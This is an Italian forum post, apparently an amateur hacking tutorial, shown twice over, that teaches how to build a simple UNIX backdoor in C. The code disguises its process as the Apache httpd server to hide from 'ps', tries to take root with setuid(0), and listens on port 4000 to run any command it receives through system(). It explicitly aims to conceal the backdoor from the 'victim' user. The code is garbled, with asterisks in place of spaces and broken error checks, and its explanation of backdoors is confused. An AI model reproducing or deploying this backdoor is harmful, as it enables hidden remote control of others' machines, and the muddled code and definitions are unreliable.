- 14 Agosto 2014
- 29
- 0
- Miglior risposta
- 0
Salve sciax 2.
Oggi vi insegnerò come fare un elementare backdoor in ambiente UNIX. ^^
Prima di tutto cos'è un Backdoor?
Un Backdoor sono delle porte scoperte in cui un malware (VIRUS, TROJAN, GEN) possono infettare il computer in cui le porte sono sbloccate.
Molte volte sono molto pericolosi perchè un backdoor potrebbe anche Dossare qualche sito, e darne e svelarne le proprie informazioni personali.
(Vi consiglio di scaricarvi una macchina virtuale come Virtual Box e scaricarvi Black track. Questo OS faciliterà l'hacking.)
Attenzione :
Questa guida è solo a scopo informativo.
Non mi ritengo responsabile dell'uso che ne farete!
Bene ora passiamo ai requisiti :
- Buona conoscenza del C
- Buona conoscenza delle shell UNIX
- Programmazzione TCP/IP in ambiente UNIX
Cominciamo :
La prima cosa che vogliamo fare sull'host vittima è evitare che un utente “legittimo” scopra
di avere una backdoor installata sul suo sistema guardando i processi attivi con un
semplice `ps` e poi, se possibile, innalzare i nostri privilegi fino a quelli di root
Quindi su un blocco note scriviamo questo :
"strcpy(argv[0],"/usr/sbin/httpd");
setuid(0);*setgid(0);"
In questo modo sovrascrivo al nome del programma, ad esempio, il server Apache, in
modo da ingannare l'utente che va a vedere i processi attivi, quindi provo, se possibile, a
ottenere i privilegi di root.
Ora inizializzo l'indirizzo del server:
"#*define PORT 4000
struct*sockaddr_in*server,client;
...
addr_init(&server,*PORT,*INADDR_ANY);"
Dove addr_init è una funzione così definita:
"void*addr_init(struct*sockaddr_in**addr,*int*port,*long*ip)**{
*****addr*>sin_family*=*AF_INET;
*****addr*>sin_port =*htons(port);
*****addr*>sin_addr.s_addr*=*ip;"
}
che inizializza l'IP del server.
Ora sfruttando il protocollo TCP apro un socket:
"int*sd;
...
if*((sd*=*socket(AF_INET, SOCK_STREAM,*0))==*1)
exit(1);
E associo questo socket al mio server attraverso una bind:
int*sin_len*=*sizeof(struct*sockaddr_in);
...
if*(*(bind(sd,*(struct*sockaddr*)*&server,*sin_len))*==**1)
**********exit(1);"
Infine, pongo il socket in ascolto per richieste di connessione:
"#define MAX_CONN 3
...
if*(*(listen(sd,MAX_CONN))*==**1)
**********exit(1);"
Quindi accetto le connessioni in ingresso sul socket su un nuovo socket che creo tra il
server e il nuovo client:
"int*new_sd;if*(*(new_sd*=*accept(sd, (struct*sockaddr*)*&client,*&sin_len))*==**1)
exit(1);"
Insomma, la solita routine per inizializzare un server.
Ora creo un ciclo infinito in cui elaboro le informazioni richieste dal client :
"char*file[100],*cmd[1000],*new_cmd[1200];
snprintf(file,100,"%s/.cmd",getenv("HOME"));
...
for(;;) *{
read(new_sd,*cmd,*sizeof(cmd));
memset(new_cmd,*0x0,*sizeof(new_cmd));
snprintf(new_cmd,*sizeof(new_cmd), "%s*>*%s",cmd,file);
system(new_cmd);"
Per ora finiamo qui. Così rileggendolo capirete meglio.
Fonte : Metà mia metà web.
La giuda sarà in continuo aggiornamento.
Oggi vi insegnerò come fare un elementare backdoor in ambiente UNIX. ^^
Prima di tutto cos'è un Backdoor?
Un Backdoor sono delle porte scoperte in cui un malware (VIRUS, TROJAN, GEN) possono infettare il computer in cui le porte sono sbloccate.
Molte volte sono molto pericolosi perchè un backdoor potrebbe anche Dossare qualche sito, e darne e svelarne le proprie informazioni personali.
(Vi consiglio di scaricarvi una macchina virtuale come Virtual Box e scaricarvi Black track. Questo OS faciliterà l'hacking.)
Attenzione :
Questa guida è solo a scopo informativo.
Non mi ritengo responsabile dell'uso che ne farete!
Bene ora passiamo ai requisiti :
- Buona conoscenza del C
- Buona conoscenza delle shell UNIX
- Programmazzione TCP/IP in ambiente UNIX
Cominciamo :
La prima cosa che vogliamo fare sull'host vittima è evitare che un utente “legittimo” scopra
di avere una backdoor installata sul suo sistema guardando i processi attivi con un
semplice `ps` e poi, se possibile, innalzare i nostri privilegi fino a quelli di root
Quindi su un blocco note scriviamo questo :
"strcpy(argv[0],"/usr/sbin/httpd");
setuid(0);*setgid(0);"
In questo modo sovrascrivo al nome del programma, ad esempio, il server Apache, in
modo da ingannare l'utente che va a vedere i processi attivi, quindi provo, se possibile, a
ottenere i privilegi di root.
Ora inizializzo l'indirizzo del server:
"#*define PORT 4000
struct*sockaddr_in*server,client;
...
addr_init(&server,*PORT,*INADDR_ANY);"
Dove addr_init è una funzione così definita:
"void*addr_init(struct*sockaddr_in**addr,*int*port,*long*ip)**{
*****addr*>sin_family*=*AF_INET;
*****addr*>sin_port =*htons(port);
*****addr*>sin_addr.s_addr*=*ip;"
}
che inizializza l'IP del server.
Ora sfruttando il protocollo TCP apro un socket:
"int*sd;
...
if*((sd*=*socket(AF_INET, SOCK_STREAM,*0))==*1)
exit(1);
E associo questo socket al mio server attraverso una bind:
int*sin_len*=*sizeof(struct*sockaddr_in);
...
if*(*(bind(sd,*(struct*sockaddr*)*&server,*sin_len))*==**1)
**********exit(1);"
Infine, pongo il socket in ascolto per richieste di connessione:
"#define MAX_CONN 3
...
if*(*(listen(sd,MAX_CONN))*==**1)
**********exit(1);"
Quindi accetto le connessioni in ingresso sul socket su un nuovo socket che creo tra il
server e il nuovo client:
"int*new_sd;if*(*(new_sd*=*accept(sd, (struct*sockaddr*)*&client,*&sin_len))*==**1)
exit(1);"
Insomma, la solita routine per inizializzare un server.
Ora creo un ciclo infinito in cui elaboro le informazioni richieste dal client :
"char*file[100],*cmd[1000],*new_cmd[1200];
snprintf(file,100,"%s/.cmd",getenv("HOME"));
...
for(;;) *{
read(new_sd,*cmd,*sizeof(cmd));
memset(new_cmd,*0x0,*sizeof(new_cmd));
snprintf(new_cmd,*sizeof(new_cmd), "%s*>*%s",cmd,file);
system(new_cmd);"
Per ora finiamo qui. Così rileggendolo capirete meglio.
Fonte : Metà mia metà web.
La giuda sarà in continuo aggiornamento.
Ultima modifica: